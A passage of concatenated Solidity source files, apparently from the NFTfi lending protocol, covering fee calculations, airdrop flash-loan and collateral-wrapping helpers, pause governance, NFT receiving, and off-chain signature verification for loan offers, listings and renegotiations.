* @notice A convenience function computing the revenue share taken from the admin fee to transferr to the permitted
* partner.
*
* @param _adminFee - The quantity of ERC20 currency (measured in smalled units of that ERC20 currency) that is due
* as an admin fee.
* @param _revenueShareInBasisPoints - The percent (measured in basis points) of the admin fee amount that will be
* taken as a revenue share for a the partner, at the moment the loan is begun.
*
* @return The quantity of ERC20 currency (measured in smalled units of that ERC20 currency) that should be sent to
* the `revenueSharePartner`.
*/
function computeRevenueShare(uint256 _adminFee, uint256 _revenueShareInBasisPoints)
external
pure
returns (uint256)
{
return (_adminFee * _revenueShareInBasisPoints) / HUNDRED_PERCENT;
}
/**
* @notice A convenience function computing the adminFee taken from a specified quantity of interest.
*
* @param _interestDue - The amount of interest due, measured in the smallest quantity of the ERC20 currency being
* used to pay the interest.
* @param _adminFeeInBasisPoints - The percent (measured in basis points) of the interest earned that will be taken
* as a fee by the contract admins when the loan is repaid. The fee is stored in the loan struct to prevent an
* attack where the contract admins could adjust the fee right before a loan is repaid, and take all of the interest
* earned.
*
* @return The quantity of ERC20 currency (measured in smalled units of that ERC20 currency) that is due as an admin
* fee.
*/
function computeAdminFee(uint256 _interestDue, uint256 _adminFeeInBasisPoints) external pure returns (uint256) {
return (_interestDue * _adminFeeInBasisPoints) / HUNDRED_PERCENT;
}
/**
* @notice A convenience function computing the referral fee taken from the loan principal amount to transferr to
* the referrer.
*
* @param _loanPrincipalAmount - The original sum of money transferred from lender to borrower at the beginning of
* the loan, measured in loanERC20Denomination's smallest units.
* @param _referralFeeInBasisPoints - The percent (measured in basis points) of the loan principal amount that will
* be taken as a fee to pay to the referrer, 0 if the lender is not paying referral fee.
* @param _referrer - The address of the referrer who found the lender matching the listing, Zero address to signal
* that there is no referrer.
*
* @return The quantity of ERC20 currency (measured in smalled units of that ERC20 currency) that should be sent to
* the referrer.
*/
function computeReferralFee(
uint256 _loanPrincipalAmount,
uint256 _referralFeeInBasisPoints,
address _referrer
) external pure returns (uint256) {
if (_referralFeeInBasisPoints == 0 || _referrer == address(0)) {
return 0;
}
return (_loanPrincipalAmount * _referralFeeInBasisPoints) / HUNDRED_PERCENT;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
import "./IDirectLoanBase.sol";
import "./LoanData.sol";
import "../../../interfaces/IDirectLoanCoordinator.sol";
import "../../../utils/ContractKeys.sol";
import "../../../interfaces/INftfiHub.sol";
import "../../../interfaces/IPermittedPartners.sol";
import "../../../interfaces/IPermittedERC20s.sol";
import "../../../interfaces/IAirdropFlashLoan.sol";
import "../../../interfaces/INftWrapper.sol";
import "../../../airdrop/IAirdropReceiverFactory.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title LoanAirdropUtils
* @author NFTfi
* @notice Helper library for LoanBase
*/
library LoanAirdropUtils {
/**
* @notice This event is fired whenever a flashloan is initiated to pull an airdrop
*
* @param loanId - A unique identifier for this particular loan, sourced from the Loan Coordinator.
* @param borrower - The address of the borrower.
* @param nftCollateralId - The ID within the AirdropReceiver for the NFT being used as collateral for this
* loan.
* @param nftCollateralContract - The ERC721 contract of the NFT collateral
* @param target - address of the airdropping contract
* @param data - function selector to be called
*/
event AirdropPulledFlashloan(
uint256 indexed loanId,
address indexed borrower,
uint256 nftCollateralId,
address nftCollateralContract,
address target,
bytes data
);
/**
* @notice This event is fired whenever the collateral gets wrapped in an airdrop receiver
*
* @param loanId - A unique identifier for this particular loan, sourced from the Loan Coordinator.
* @param borrower - The address of the borrower.
* @param nftCollateralId - The ID within the AirdropReceiver for the NFT being used as collateral for this
* loan.
* @param nftCollateralContract - The contract of the NFT collateral
* @param receiverId - id of the created AirdropReceiver, takes the place of nftCollateralId on the loan
* @param receiverInstance - address of the created AirdropReceiver
*/
event CollateralWrapped(
uint256 indexed loanId,
address indexed borrower,
uint256 nftCollateralId,
address nftCollateralContract,
uint256 receiverId,
address receiverInstance
);
function pullAirdrop(
uint32 _loanId,
LoanData.LoanTerms memory _loan,
address _target,
bytes calldata _data,
address _nftAirdrop,
uint256 _nftAirdropId,
bool _is1155,
uint256 _nftAirdropAmount,
INftfiHub _hub
) external {
IDirectLoanCoordinator loanCoordinator = IDirectLoanCoordinator(
_hub.getContract(IDirectLoanBase(address(this)).LOAN_COORDINATOR())
);
address borrower;
// scoped to aviod stack too deep
{
IDirectLoanCoordinator.Loan memory loanCoordinatorData = loanCoordinator.getLoanData(_loanId);
uint256 smartNftId = loanCoordinatorData.smartNftId;
if (_loan.borrower != address(0)) {
borrower = _loan.borrower;
} else {
borrower = IERC721(loanCoordinator.obligationReceiptToken()).ownerOf(smartNftId);
}
}
require(msg.sender == borrower, "Only borrower can airdrop");
{
IAirdropFlashLoan airdropFlashLoan = IAirdropFlashLoan(_hub.getContract(ContractKeys.AIRDROP_FLASH_LOAN));
_transferNFT(_loan, address(this), address(airdropFlashLoan));
airdropFlashLoan.pullAirdrop(
_loan.nftCollateralContract,
_loan.nftCollateralId,
_loan.nftCollateralWrapper,
_target,
_data,
_nftAirdrop,
_nftAirdropId,
_is1155,
_nftAirdropAmount,
borrower
);
}
// revert if the collateral hasn't been transferred back before it ends
require(
INftWrapper(_loan.nftCollateralWrapper).isOwner(
address(this),
_loan.nftCollateralContract,
_loan.nftCollateralId
),
"Collateral should be returned"
);
emit AirdropPulledFlashloan(
_loanId,
borrower,
_loan.nftCollateralId,
_loan.nftCollateralContract,
_target,
_data
);
}
function wrapCollateral(
uint32 _loanId,
LoanData.LoanTerms storage _loan,
INftfiHub _hub
) external returns (address instance, uint256 receiverId) {
IDirectLoanCoordinator loanCoordinator = IDirectLoanCoordinator(
_hub.getContract(IDirectLoanBase(address(this)).LOAN_COORDINATOR())
);
// Fetch the current lender of the promissory note corresponding to this overdue loan.
IDirectLoanCoordinator.Loan memory loanCoordinatorData = loanCoordinator.getLoanData(_loanId);
uint256 smartNftId = loanCoordinatorData.smartNftId;
address borrower;
if (_loan.borrower != address(0)) {
borrower = _loan.borrower;
} else {
borrower = IERC721(loanCoordinator.obligationReceiptToken()).ownerOf(smartNftId);
}
require(msg.sender == borrower, "Only borrower can wrapp");
IAirdropReceiverFactory factory = IAirdropReceiverFactory(_hub.getContract(ContractKeys.AIRDROP_FACTORY));
(instance, receiverId) = factory.createAirdropReceiver(address(this));
// transfer collateral to airdrop receiver wrapper
_transferNFTtoAirdropReceiver(_loan, instance, borrower);
emit CollateralWrapped(
_loanId,
borrower,
_loan.nftCollateralId,
_loan.nftCollateralContract,
receiverId,
instance
);
// set the receiver as the new collateral
_loan.nftCollateralContract = instance;
_loan.nftCollateralId = receiverId;
}
/**
* @dev Transfers several types of NFTs using a wrapper that knows how to handle each case.
*
* @param _loan -
* @param _sender - Current owner of the NFT
* @param _recipient - Recipient of the transfer
*/
function _transferNFT(
LoanData.LoanTerms memory _loan,
address _sender,
address _recipient
) internal {
Address.functionDelegateCall(
_loan.nftCollateralWrapper,
abi.encodeWithSelector(
INftWrapper(_loan.nftCollateralWrapper).transferNFT.selector,
_sender,
_recipient,
_loan.nftCollateralContract,
_loan.nftCollateralId
),
"NFT not successfully transferred"
);
}
/**
* @dev Transfers several types of NFTs to an airdrop receiver with an airdrop beneficiary
* address attached as supplementing data using a wrapper that knows how to handle each case.
*
* @param _loan -
* @param _airdropReceiverInstance - Recipient of the transfer
* @param _airdropBeneficiary - Beneficiary of the future airdops
*/
function _transferNFTtoAirdropReceiver(
LoanData.LoanTerms memory _loan,
address _airdropReceiverInstance,
address _airdropBeneficiary
) internal {
Address.functionDelegateCall(
_loan.nftCollateralWrapper,
abi.encodeWithSelector(
INftWrapper(_loan.nftCollateralWrapper).wrapAirdropReceiver.selector,
_airdropReceiverInstance,
_loan.nftCollateralContract,
_loan.nftCollateralId,
_airdropBeneficiary
),
"NFT was not successfully migrated"
);
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
import "../utils/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title BaseLoan
* @author NFTfi
* @dev Implements base functionalities common to all Loan types.
* Mostly related to governance and security.
*/
abstract contract BaseLoan is Ownable, Pausable, ReentrancyGuard {
/* *********** */
/* CONSTRUCTOR */
/* *********** */
/**
* @notice Sets the admin of the contract.
*
* @param _admin - Initial admin of this contract.
*/
constructor(address _admin) Ownable(_admin) {
// solhint-disable-previous-line no-empty-blocks
}
/* ********* */
/* FUNCTIONS */
/* ********* */
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - Only the owner can call this method.
* - The contract must not be paused.
*/
function pause() external onlyOwner {
_pause();
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - Only the owner can call this method.
* - The contract must be paused.
*/
function unpause() external onlyOwner {
_unpause();
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
/**
* @title NftReceiver
* @author NFTfi
* @dev Base contract with capabilities for receiving ERC1155 and ERC721 tokens
*/
abstract contract NftReceiver is IERC1155Receiver, ERC721Holder {
/**
* @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a
* `safeTransferFrom` after the balance has been updated.
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if allowed
*/
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external virtual override returns (bytes4) {
return this.onERC1155Received.selector;
}
/**
* @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a
* `safeBatchTransferFrom` after the balances have been updated.
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if allowed
*/
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external virtual override returns (bytes4) {
revert("ERC1155 batch not supported");
}
/**
* @dev Checks whether this contract implements the interface defined by `interfaceId`.
* @param _interfaceId Id of the interface
* @return true if this contract implements the interface
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override returns (bool) {
return
_interfaceId == type(IERC1155Receiver).interfaceId ||
_interfaceId == type(IERC721Receiver).interfaceId ||
_interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
import "../interfaces/IBundleBuilder.sol";
import "../loans/direct/loanTypes/LoanData.sol";
import "@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol";
/**
* @title NFTfiSigningUtils
* @author NFTfi
* @notice Helper contract for NFTfi. This contract manages verifying signatures from off-chain NFTfi orders.
* Based on the version of this same contract used on NFTfi V1
*/
library NFTfiSigningUtils {
/* ********* */
/* FUNCTIONS */
/* ********* */
/**
* @dev This function gets the current chain ID.
*/
function getChainID() public view returns (uint256) {
uint256 id;
// solhint-disable-next-line no-inline-assembly
assembly {
id := chainid()
}
return id;
}
/**
* @notice This function is when the lender accepts a borrower's binding listing terms, to validate the lender's
* signature that the borrower provided off-chain to verify that it did indeed made such listing.
*
* @param _listingTerms - The listing terms struct containing:
* - loanERC20Denomination: The address of the ERC20 contract of the currency being used as principal/interest
* for this loan.
* - minLoanPrincipalAmount: The minumum sum of money transferred from lender to borrower at the beginning of
* the loan, measured in loanERC20Denomination's smallest units.
* - maxLoanPrincipalAmount: The sum of money transferred from lender to borrower at the beginning of
* the loan, measured in loanERC20Denomination's smallest units.
* - maximumRepaymentAmount: The maximum amount of money that the borrower would be required to retrieve their
* collateral, measured in the smallest units of the ERC20 currency used for the loan. The borrower will always have
* to pay this amount to retrieve their collateral, regardless of whether they repay early.
* - nftCollateralContract: The address of the ERC721 contract of the NFT collateral.
* - nftCollateralId: The ID within the NFTCollateralContract for the NFT being used as collateral for this
* loan. The NFT is stored within this contract during the duration of the loan.
* - revenueSharePartner: The address of the partner that will receive the revenue share.
* - minLoanDuration: The minumum amount of time (measured in seconds) that can elapse before the lender can
* liquidate the loan and seize the underlying collateral NFT.
* - maxLoanDuration: The maximum amount of time (measured in seconds) that can elapse before the lender can
* liquidate the loan and seize the underlying collateral NFT.
* - maxInterestRateForDurationInBasisPoints: This is maximum the interest rate (measured in basis points, e.g.
* hundreths of a percent) for the loan, that must be repaid pro-rata by the borrower at the conclusion of the loan
* or risk seizure of their nft collateral. Note if the type of the loan is fixed then this value is not used and
* is irrelevant so it should be set to 0.
* - referralFeeInBasisPoints: The percent (measured in basis points) of the loan principal amount that will be
* taken as a fee to pay to the referrer, 0 if the lender is not paying referral fee.
* @param _signature - The offer struct containing:
* - signer: The address of the signer. The borrower for `acceptOffer` the lender for `acceptListing`.
* - nonce: The nonce referred here is not the same as an Ethereum account's nonce.
* We are referring instead to a nonce that is used by the lender or the borrower when they are first signing
* off-chain NFTfi orders. These nonce can be any uint256 value that the user has not previously used to sign an
* off-chain order. Each nonce can be used at most once per user within NFTfi, regardless of whether they are the
* lender or the borrower in that situation. This serves two purposes:
* - First, it prevents replay attacks where an attacker would submit a user's off-chain order more than once.
* - Second, it allows a user to cancel an off-chain order by calling
* NFTfi.cancelLoanCommitmentBeforeLoanHasBegun(), which marks the nonce as used and prevents any future loan from
* using the user's off-chain order that contains that nonce.
* - expiry: Date when the signature expires
* - signature: The ECDSA signature of the borrower, obtained off-chain ahead of time, signing the following
* combination of parameters:
* - listingTerms.loanERC20Denomination,
* - listingTerms.minLoanPrincipalAmount,
* - listingTerms.maxLoanPrincipalAmount,
* - listingTerms.nftCollateralContract,
* - listingTerms.nftCollateralId,
* - listingTerms.revenueSharePartner,
* - listingTerms.minLoanDuration,
* - listingTerms.maxLoanDuration,
* - listingTerms.maxInterestRateForDurationInBasisPoints,
* - listingTerms.referralFeeInBasisPoints,
* - signature.signer,
* - signature.nonce,
* - signature.expiry,
* - address of this contract
* - chainId
*/
function isValidBorrowerSignature(LoanData.ListingTerms memory _listingTerms, LoanData.Signature memory _signature)
external
view
returns (bool)
{
return isValidBorrowerSignature(_listingTerms, _signature, address(this));
}
/**
* @dev This function overload the previous function to allow the caller to specify the address of the contract
*
*/
function isValidBorrowerSignature(
LoanData.ListingTerms memory _listingTerms,
LoanData.Signature memory _signature,
address _loanContract
) public view returns (bool) {
require(block.timestamp <= _signature.expiry, "Borrower Signature has expired");
require(_loanContract != address(0), "Loan is zero address");
if (_signature.signer == address(0)) {
return false;
} else {
bytes32 message = keccak256(
abi.encodePacked(
getEncodedListing(_listingTerms),
getEncodedSignature(_signature),
_loanContract,
getChainID()
)
);
return
SignatureChecker.isValidSignatureNow(
_signature.signer,
ECDSA.toEthSignedMessageHash(message),
_signature.signature
);
}
}
/**
* @notice This function is when the lender accepts a borrower's binding listing terms, to validate the lender's
* signature that the borrower provided off-chain to verify that it did indeed made such listing.
*
* @param _listingTerms - The listing terms struct containing:
* - loanERC20Denomination: The address of the ERC20 contract of the currency being used as principal/interest
* for this loan.
* - minLoanPrincipalAmount: The minumum sum of money transferred from lender to borrower at the beginning of
* the loan, measured in loanERC20Denomination's smallest units.
* - maxLoanPrincipalAmount: The sum of money transferred from lender to borrower at the beginning of
* the loan, measured in loanERC20Denomination's smallest units.
* - maximumRepaymentAmount: The maximum amount of money that the borrower would be required to retrieve their
* collateral, measured in the smallest units of the ERC20 currency used for the loan. The borrower will always have
* to pay this amount to retrieve their collateral, regardless of whether they repay early.
* - nftCollateralContract: The address of the ERC721 contract of the NFT collateral.
* - nftCollateralId: The ID within the NFTCollateralContract for the NFT being used as collateral for this
* loan. The NFT is stored within this contract during the duration of the loan.
* - revenueSharePartner: The address of the partner that will receive the revenue share.
* - minLoanDuration: The minumum amount of time (measured in seconds) that can elapse before the lender can
* liquidate the loan and seize the underlying collateral NFT.
* - maxLoanDuration: The maximum amount of time (measured in seconds) that can elapse before the lender can
* liquidate the loan and seize the underlying collateral NFT.
* - maxInterestRateForDurationInBasisPoints: This is maximum the interest rate (measured in basis points, e.g.
* hundreths of a percent) for the loan, that must be repaid pro-rata by the borrower at the conclusion of the loan
* or risk seizure of their nft collateral. Note if the type of the loan is fixed then this value is not used and
* is irrelevant so it should be set to 0.
* - referralFeeInBasisPoints: The percent (measured in basis points) of the loan principal amount that will be
* taken as a fee to pay to the referrer, 0 if the lender is not paying referral fee.
* @param _bundleElements - the lists of erc721-20-1155 tokens that are to be bundled
* @param _signature - The offer struct containing:
* - signer: The address of the signer. The borrower for `acceptOffer` the lender for `acceptListing`.
* - nonce: The nonce referred here is not the same as an Ethereum account's nonce.
* We are referring instead to a nonce that is used by the lender or the borrower when they are first signing
* off-chain NFTfi orders. These nonce can be any uint256 value that the user has not previously used to sign an
* off-chain order. Each nonce can be used at most once per user within NFTfi, regardless of whether they are the
* lender or the borrower in that situation. This serves two purposes:
* - First, it prevents replay attacks where an attacker would submit a user's off-chain order more than once.
* - Second, it allows a user to cancel an off-chain order by calling
* NFTfi.cancelLoanCommitmentBeforeLoanHasBegun(), which marks the nonce as used and prevents any future loan from
* using the user's off-chain order that contains that nonce.
* - expiry: Date when the signature expires
* - signature: The ECDSA signature of the borrower, obtained off-chain ahead of time, signing the following
* combination of parameters:
* - listingTerms.loanERC20Denomination,
* - listingTerms.minLoanPrincipalAmount,
* - listingTerms.maxLoanPrincipalAmount,
* - listingTerms.nftCollateralContract,
* - listingTerms.nftCollateralId,
* - listingTerms.revenueSharePartner,
* - listingTerms.minLoanDuration,
* - listingTerms.maxLoanDuration,
* - listingTerms.maxInterestRateForDurationInBasisPoints,
* - listingTerms.referralFeeInBasisPoints,
* - bundleElements
* - signature.signer,
* - signature.nonce,
* - signature.expiry,
* - address of this contract
* - chainId
*/
function isValidBorrowerSignatureBundle(
LoanData.ListingTerms memory _listingTerms,
IBundleBuilder.BundleElements memory _bundleElements,
LoanData.Signature memory _signature
) external view returns (bool) {
return isValidBorrowerSignatureBundle(_listingTerms, _bundleElements, _signature, address(this));
}
/**
* @dev This function overload the previous function to allow the caller to specify the address of the contract
*
*/
function isValidBorrowerSignatureBundle(
LoanData.ListingTerms memory _listingTerms,
IBundleBuilder.BundleElements memory _bundleElements,
LoanData.Signature memory _signature,
address _loanContract
) public view returns (bool) {
require(block.timestamp <= _signature.expiry, "Borrower Signature has expired");
require(_loanContract != address(0), "Loan is zero address");
if (_signature.signer == address(0)) {
return false;
} else {
bytes32 message = keccak256(
abi.encodePacked(
getEncodedListing(_listingTerms),
abi.encode(_bundleElements),
getEncodedSignature(_signature),
_loanContract,
getChainID()
)
);
return
SignatureChecker.isValidSignatureNow(
_signature.signer,
ECDSA.toEthSignedMessageHash(message),
_signature.signature
);
}
}
/**
* @notice This function is when the borrower accepts a lender's offer, to validate the lender's signature that the
* lender provided off-chain to verify that it did indeed made such offer.
*
* @param _offer - The offer struct containing:
* - loanERC20Denomination: The address of the ERC20 contract of the currency being used as principal/interest
* for this loan.
* - loanPrincipalAmount: The original sum of money transferred from lender to borrower at the beginning of
* the loan, measured in loanERC20Denomination's smallest units.
* - maximumRepaymentAmount: The maximum amount of money that the borrower would be required to retrieve their
* collateral, measured in the smallest units of the ERC20 currency used for the loan. The borrower will always have
* to pay this amount to retrieve their collateral, regardless of whether they repay early.
* - nftCollateralContract: The address of the ERC721 contract of the NFT collateral.
* - nftCollateralId: The ID within the NFTCollateralContract for the NFT being used as collateral for this
* loan. The NFT is stored within this contract during the duration of the loan.
* - referrer: The address of the referrer who found the lender matching the listing, Zero address to signal
* this there is no referrer.
* - loanDuration: The amount of time (measured in seconds) that can elapse before the lender can liquidate the
* loan and seize the underlying collateral NFT.
* - loanInterestRateForDurationInBasisPoints: This is the interest rate (measured in basis points, e.g.
* hundreths of a percent) for the loan, that must be repaid pro-rata by the borrower at the conclusion of the loan
* or risk seizure of their nft collateral. Note if the type of the loan is fixed then this value is not used and
* is irrelevant so it should be set to 0.
* - loanAdminFeeInBasisPoints: The percent (measured in basis points) of the interest earned that will be
* taken as a fee by the contract admins when the loan is repaid. The fee is stored in the loan struct to prevent an
* attack where the contract admins could adjust the fee right before a loan is repaid, and take all of the interest
* earned.
* @param _signature - The signature structure containing:
* - signer: The address of the signer. The borrower for `acceptOffer` the lender for `acceptListing`.
* - nonce: The nonce referred here is not the same as an Ethereum account's nonce.
* We are referring instead to a nonce that is used by the lender or the borrower when they are first signing
* off-chain NFTfi orders. These nonce can be any uint256 value that the user has not previously used to sign an
* off-chain order. Each nonce can be used at most once per user within NFTfi, regardless of whether they are the
* lender or the borrower in that situation. This serves two purposes:
* - First, it prevents replay attacks where an attacker would submit a user's off-chain order more than once.
* - Second, it allows a user to cancel an off-chain order by calling
* NFTfi.cancelLoanCommitmentBeforeLoanHasBegun(), which marks the nonce as used and prevents any future loan from
* using the user's off-chain order that contains that nonce.
* - expiry: Date when the signature expires
* - signature: The ECDSA signature of the lender, obtained off-chain ahead of time, signing the following
* combination of parameters:
* - offer.loanERC20Denomination
* - offer.loanPrincipalAmount
* - offer.maximumRepaymentAmount
* - offer.nftCollateralContract
* - offer.nftCollateralId
* - offer.referrer
* - offer.loanDuration
* - offer.loanAdminFeeInBasisPoints
* - signature.signer,
* - signature.nonce,
* - signature.expiry,
* - address of this contract
* - chainId
*/
function isValidLenderSignature(LoanData.Offer memory _offer, LoanData.Signature memory _signature)
external
view
returns (bool)
{
return isValidLenderSignature(_offer, _signature, address(this));
}
/**
* @dev This function overload the previous function to allow the caller to specify the address of the contract
*
*/
function isValidLenderSignature(
LoanData.Offer memory _offer,
LoanData.Signature memory _signature,
address _loanContract
) public view returns (bool) {
require(block.timestamp <= _signature.expiry, "Lender Signature has expired");
require(_loanContract != address(0), "Loan is zero address");
if (_signature.signer == address(0)) {
return false;
} else {
bytes32 message = keccak256(
abi.encodePacked(getEncodedOffer(_offer), getEncodedSignature(_signature), _loanContract, getChainID())
);
return
SignatureChecker.isValidSignatureNow(
_signature.signer,
ECDSA.toEthSignedMessageHash(message),
_signature.signature
);
}
}
/**
* @notice This function is when the borrower accepts a lender's offer, to validate the lender's signature that the
* lender provided off-chain to verify that it did indeed made such offer.
*
* @param _offer - The offer struct containing:
* - loanERC20Denomination: The address of the ERC20 contract of the currency being used as principal/interest
* for this loan.
* - loanPrincipalAmount: The original sum of money transferred from lender to borrower at the beginning of
* the loan, measured in loanERC20Denomination's smallest units.
* - maximumRepaymentAmount: The maximum amount of money that the borrower would be required to retrieve their
* collateral, measured in the smallest units of the ERC20 currency used for the loan. The borrower will always have
* to pay this amount to retrieve their collateral, regardless of whether they repay early.
* - nftCollateralContract: The address of the ERC721 contract of the NFT collateral.
* - nftCollateralId: The ID within the NFTCollateralContract for the NFT being used as collateral for this
* loan. The NFT is stored within this contract during the duration of the loan.
* - referrer: The address of the referrer who found the lender matching the listing, Zero address to signal
* this there is no referrer.
* - loanDuration: The amount of time (measured in seconds) that can elapse before the lender can liquidate the
* loan and seize the underlying collateral NFT.
* - loanInterestRateForDurationInBasisPoints: This is the interest rate (measured in basis points, e.g.
* hundreths of a percent) for the loan, that must be repaid pro-rata by the borrower at the conclusion of the loan
* or risk seizure of their nft collateral. Note if the type of the loan is fixed then this value is not used and
* is irrelevant so it should be set to 0.
* - loanAdminFeeInBasisPoints: The percent (measured in basis points) of the interest earned that will be
* taken as a fee by the contract admins when the loan is repaid. The fee is stored in the loan struct to prevent an
* attack where the contract admins could adjust the fee right before a loan is repaid, and take all of the interest
* earned.
* @param _bundleElements - the lists of erc721-20-1155 tokens that are to be bundled
* @param _signature - The signature structure containing:
* - signer: The address of the signer. The borrower for `acceptOffer` the lender for `acceptListing`.
* - nonce: The nonce referred here is not the same as an Ethereum account's nonce.
* We are referring instead to a nonce that is used by the lender or the borrower when they are first signing
* off-chain NFTfi orders. These nonce can be any uint256 value that the user has not previously used to sign an
* off-chain order. Each nonce can be used at most once per user within NFTfi, regardless of whether they are the
* lender or the borrower in that situation. This serves two purposes:
* - First, it prevents replay attacks where an attacker would submit a user's off-chain order more than once.
* - Second, it allows a user to cancel an off-chain order by calling
* NFTfi.cancelLoanCommitmentBeforeLoanHasBegun(), which marks the nonce as used and prevents any future loan from
* using the user's off-chain order that contains that nonce.
* - expiry: Date when the signature expires
* - signature: The ECDSA signature of the lender, obtained off-chain ahead of time, signing the following
* combination of parameters:
* - offer.loanERC20Denomination
* - offer.loanPrincipalAmount
* - offer.maximumRepaymentAmount
* - offer.nftCollateralContract
* - offer.nftCollateralId
* - offer.referrer
* - offer.loanDuration
* - offer.loanAdminFeeInBasisPoints
* - bundleElements
* - signature.signer,
* - signature.nonce,
* - signature.expiry,
* - address of this contract
* - chainId
*/
function isValidLenderSignatureBundle(
LoanData.Offer memory _offer,
IBundleBuilder.BundleElements memory _bundleElements,
LoanData.Signature memory _signature
) external view returns (bool) {
return isValidLenderSignatureBundle(_offer, _bundleElements, _signature, address(this));
}
/**
* @dev This function overload the previous function to allow the caller to specify the address of the contract
*
*/
function isValidLenderSignatureBundle(
LoanData.Offer memory _offer,
IBundleBuilder.BundleElements memory _bundleElements,
LoanData.Signature memory _signature,
address _loanContract
) public view returns (bool) {
require(block.timestamp <= _signature.expiry, "Lender Signature has expired");
require(_loanContract != address(0), "Loan is zero address");
if (_signature.signer == address(0)) {
return false;
} else {
bytes32 message = keccak256(
abi.encodePacked(
getEncodedOffer(_offer),
abi.encode(_bundleElements),
getEncodedSignature(_signature),
_loanContract,
getChainID()
)
);
return
SignatureChecker.isValidSignatureNow(
_signature.signer,
ECDSA.toEthSignedMessageHash(message),
_signature.signature
);
}
}
/**
* @notice This function is called in renegotiateLoan() to validate the lender's signature that the lender provided
* off-chain to verify that they did indeed want to agree to this loan renegotiation according to these terms.
*
* @param _loanId - The unique identifier for the loan to be renegotiated
* @param _newLoanDuration - The new amount of time (measured in seconds) that can elapse before the lender can
* liquidate the loan and seize the underlying collateral NFT.
* @param _newMaximumRepaymentAmount - The new maximum amount of money that the borrower would be required to
* retrieve their collateral, measured in the smallest units of the ERC20 currency used for the loan. The
* borrower will always have to pay this amount to retrieve their collateral, regardless of whether they repay
* early.
* @param _renegotiationFee Agreed upon fee in ether that borrower pays for the lender for the renegitiation
* @param _signature - The signature structure containing:
* - signer: The address of the signer. The borrower for `acceptOffer` the lender for `acceptListing`.
* - nonce: The nonce referred here is not the same as an Ethereum account's nonce.
* We are referring instead to a nonce that is used by the lender or the borrower when they are first signing
* off-chain NFTfi orders. These nonce can be any uint256 value that the user has not previously used to sign an
* off-chain order. Each nonce can be used at most once per user within NFTfi, regardless of whether they are the
* lender or the borrower in that situation. This serves two purposes:
* - First, it prevents replay attacks where an attacker would submit a user's off-chain order more than once.
* - Second, it allows a user to cancel an off-chain order by calling NFTfi.cancelLoanCommitmentBeforeLoanHasBegun()
* , which marks the nonce as used and prevents any future loan from using the user's off-chain order that contains
* that nonce.
* - expiry - The date when the renegotiation offer expires
* - lenderSignature - The ECDSA signature of the lender, obtained off-chain ahead of time, signing the
* following combination of parameters:
* - _loanId
* - _newLoanDuration
* - _newMaximumRepaymentAmount
* - _lender
* - _lenderNonce
* - _expiry
* - address of this contract
* - chainId
*/
function isValidLenderRenegotiationSignature(
uint256 _loanId,
uint32 _newLoanDuration,
uint256 _newMaximumRepaymentAmount,
uint256 _renegotiationFee,
LoanData.Signature memory _signature
) external view returns (bool) {
return
isValidLenderRenegotiationSignature(
_loanId,
_newLoanDuration,
_newMaximumRepaymentAmount,
_renegotiationFee,
_signature,
address(this)
);
}
/**
* @dev This function overload the previous function to allow the caller to specify the address of the contract
*
*/
function isValidLenderRenegotiationSignature(
uint256 _loanId,
uint32 _newLoanDuration,
uint256 _newMaximumRepaymentAmount,
uint256 _renegotiationFee,
LoanData.Signature memory _signature,
address _loanContract
) public view returns (bool) {
require(block.timestamp <= _signature.expiry, "Renegotiation Signature has expired");
require(_loanContract != address(0), "Loan is zero address");
if (_signature.signer == address(0)) {
return false;
} else {
bytes32 message = keccak256(
abi.encodePacked(
_loanId,
_newLoanDuration,
_newMaximumRepaymentAmount,
_renegotiationFee,
getEncodedSignature(_signature),
_loanContract,
getChainID()
)
);
return
SignatureChecker.isValidSignatureNow(
_signature.signer,
ECDSA.toEthSignedMessageHash(message),
_signature.signature
);
}
}
/**
* @dev We need this to avoid stack too deep errors.
*/
function getEncodedListing(LoanData.ListingTerms memory _listingTerms) internal pure returns (bytes memory) {
return
abi.encodePacked(
_listingTerms.loanERC20Denomination,
_listingTerms.minLoanPrincipalAmount,
_listingTerms.maxLoanPrincipalAmount,
_listingTerms.nftCollateralContract,
_listingTerms.nftCollateralId,
_listingTerms.revenueSharePartner,
_listingTerms.minLoanDuration,
_listingTerms.maxLoanDuration,
_listingTerms.maxInterestRateForDurationInBasisPoints,
_listingTerms.referralFeeInBasisPoints
);
}
/**
* @dev We need this to avoid stack too deep errors.
*/
function getEncodedOffer(LoanData.Offer memory _offer) internal pure returns (bytes memory) {
return
abi.encodePacked(
_offer.loanERC20Denomination,
_offer.loanPrincipalAmount,
_offer.maximumRepaymentAmount,
_offer.nftCollateralContract,
_offer.nftCollateralId,
_offer.referrer,
_offer.loanDuration,
_offer.loanAdminFeeInBasisPoints
);
}
/**
* @dev We need this to avoid stack too deep errors.
*/
function getEncodedSignature(LoanData.Signature memory _signature) internal pure returns (bytes memory) {
return abi.encodePacked(_signature.signer, _signature.nonce, _signature.expiry);
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
/**
* @title INftfiHub
* @author NFTfi
* @dev NftfiHub interface
*/
interface INftfiHub {
function setContract(string calldata _contractKey, address _contractAddress) external;
function getContract(bytes32 _contractKey) external view returns (address);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
/**
* @title IDirectLoanCoordinator
* @author NFTfi
